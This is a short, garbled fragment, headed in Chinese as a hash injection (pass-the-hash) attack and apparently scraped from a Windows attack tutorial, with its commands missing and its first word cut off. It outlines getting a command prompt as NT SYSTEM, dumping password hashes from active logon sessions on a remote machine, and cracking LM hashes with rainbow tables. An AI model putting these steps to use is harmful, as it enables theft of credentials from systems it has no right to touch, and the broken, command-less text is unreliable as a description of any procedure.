HASH注入式攻击

o get a DOS Prompt as NT system:

The service did not respond to the start or control request in a timely fashion.

Then in the new DOS window:

to get the hashes from active logon sessions of a remote system.

These are a lot better than getting a cachedump of the Cached Credentials because these hashes are LMHashes that can be easily broken with Rainbow Tables.
